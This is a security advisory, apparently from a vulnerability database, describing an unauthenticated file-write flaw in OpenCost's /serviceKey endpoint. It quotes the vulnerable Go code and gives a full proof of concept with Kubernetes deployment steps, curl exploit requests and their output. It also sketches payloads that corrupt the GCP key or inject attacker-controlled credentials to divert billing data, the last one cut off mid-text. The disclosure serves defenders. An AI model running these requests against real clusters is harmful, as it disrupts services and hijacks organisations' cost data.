Résumé
OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection
Détails de l’avis
Summary
OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.
Affected Versions
- OpenCost: All versions up to and including the latest release
- Vulnerable File:
pkg/costmodel/router.go(lines 365-379) - Vulnerable Endpoint:
POST /serviceKey
Vulnerability Details
Root Cause
The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
w.Header().Set("Content-Type", "application/json")
w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS
r.ParseForm()
key := r.PostForm.Get("key") // User-controlled input, no validation
k := []byte(key)
err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write
if err != nil {
fmt.Fprintf(w, "Error writing service key: %s", err)
}
w.WriteHeader(http.StatusOK)
}
File Path Determination (core/pkg/env/core.go):
func GetGCPAuthSecretFilePath() string {
return GetPathFromConfig("key.json")
}
func GetPathFromConfig(fileName string) string {
return filepath.Join(GetConfigPath(), fileName)
}
func GetConfigPath() string {
return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs
}
Security Issues
- No Authentication: Any network-accessible client can invoke the endpoint
- No Input Validation: User input is not validated as a valid GCP service account key
- Overly Permissive CORS:
Access-Control-Allow-Origin: *allows cross-origin attacks - Predictable File Path: File location controlled by
CONFIG_PATHenvironment variable
Proof of Concept
Environment Setup
Prerequisites
- Kubernetes cluster (tested on kind v1.30.0)
- Helm 3.x
- kubectl configured
Step 1: Create Namespace
kubectl create namespace opencost
Output:
namespace/opencost created
Step 2: Add OpenCost Helm Repository
helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update
Output:
"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!
Step 3: Deploy OpenCost
helm install opencost opencost/opencost --namespace opencost \
--set opencost.exporter.defaultClusterId=test-cluster \
--set opencost.prometheus.internal.enabled=true \
--set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
--set opencost.prometheus.internal.namespaceName=monitoring \
--set opencost.prometheus.internal.port=9090 \
--set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'
Key Configuration:
CONFIG_PATH=/tmp: Sets writable directory for file operations
Output:
NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1
Step 4: Verify Deployment
kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost
Output:
NAME READY STATUS RESTARTS AGE
opencost-db97bbcc-5q8cb 2/2 Running 0 44s
Step 5: Verify Service Accessibility
kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
curl -v http://opencost.opencost.svc.cluster.local:9003/healthz
Output:
< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0
Exploitation
Step 6: Check Initial State
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json
Output:
cat: can't open '/tmp/key.json': No such file or directory
Note: File does not exist initially
Step 7: Verify CONFIG_PATH Configuration
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH
Output:
CONFIG_PATH=/tmp
Note: CONFIG_PATH correctly set to /tmp
Step 8: Execute Exploit
MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'
kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${MALICIOUS_CONTENT}" \
-v
Request Details:
> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244
Response Details:
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0
Result: HTTP 200 OK - Request successful without authentication
Step 9: Verify File Write
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json
Output:
{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}
Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file
Impact Analysis
Direct Impact
| Impact Type | Severity | Description |
|---|---|---|
| Unauthorized Credential Overwrite | High | Attacker can overwrite GCP service account key file content |
| No Authentication Required | High | Vulnerability can be exploited without any credentials |
| CORS Misconfiguration | Medium | Allows cross-origin attacks via malicious websites |
| Fixed File Path | Low | Attacker cannot control write location, only content |
Attack Scenario Analysis
Scenario 1: GCP Credential Overwrite Leading to Service Disruption
Attack Steps:
- Attacker sends POST request with invalid JSON or malformed GCP key
/serviceKeyendpoint accepts request and overwrites existingkey.jsonfile- OpenCost attempts to access GCP API with corrupted credentials
- GCP integration fails, cost data collection stops
Technical Details:
# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
-d 'key={"invalid":"json","corrupted":"credentials"}'
Impact:
- Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
- Operational Impact: FinOps processes dependent on cost data are blocked
- Availability Degradation: Manual intervention required to restore correct credentials
CVSS Impact Score: Availability impact is Low (A:L)
Scenario 2: Malicious Credential Injection for Data Hijacking
Attack Steps:
- Attacker creates their own GCP project and service account
- Injects attacker-controlled valid GCP credentials into OpenCost
- OpenCost uses attacker's credentials to send requests to GCP Billing API
- Target organization's cost data is sent to attacker's GCP project
Technical Details:
# Inject attacker credentials
ATTACKER_KEY='{
"type": "service_account",
"project_id": "attacker-billing-project",
"private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
"client_email": "opencost-hijack@attacker-project
Références
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-75975
fast-uri vulnerable to server-side request forgery via malformed IPv6 normalization
- MEDIUMCVE-2026-18504
fastify vulnerable to schema validation bypass via root primitive coercion mismatch
- MEDIUMCVE-2026-73845
CKAN MCP Server: MQA server allowlist bypass via unanchored regex (`isValidMqaServer`)
- HIGHCVE-2026-59724
Socket.IO: Engine.IO WebTransport SID DoS
- HIGHCVE-2026-55212
Pimcore: Insufficient Permission Check on Class Definition Creation Endpoint Allows Privilege Escalation
- CRITICALCVE-2026-55068
free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints